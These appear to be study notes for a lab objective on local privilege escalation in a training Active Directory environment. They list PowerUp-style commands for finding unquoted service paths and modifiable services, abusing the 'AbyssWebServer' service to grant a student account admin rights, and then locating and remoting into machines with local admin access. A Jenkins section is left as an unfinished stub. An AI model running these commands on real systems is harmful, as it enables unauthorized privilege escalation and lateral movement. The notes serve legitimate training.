Obj 5 Local Priv Esc

Task - Elevate local privs on studentvm, Identify where we have local admin access.

Find Unquoted service paths

Get-ServiceUnquoted

Find service files we can modify

Get-ModifiableServiceFile -Verbose

Find services we can modify

Get-ModifiableService

Abuse a service we found to be modifiable

Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName 'dcorp\studentx'

Find where we have local admin access

. C:\AD\Tools\Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess

PSSremote into another machine as local admin

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local

Jenkins....

Coming soon...

Last updated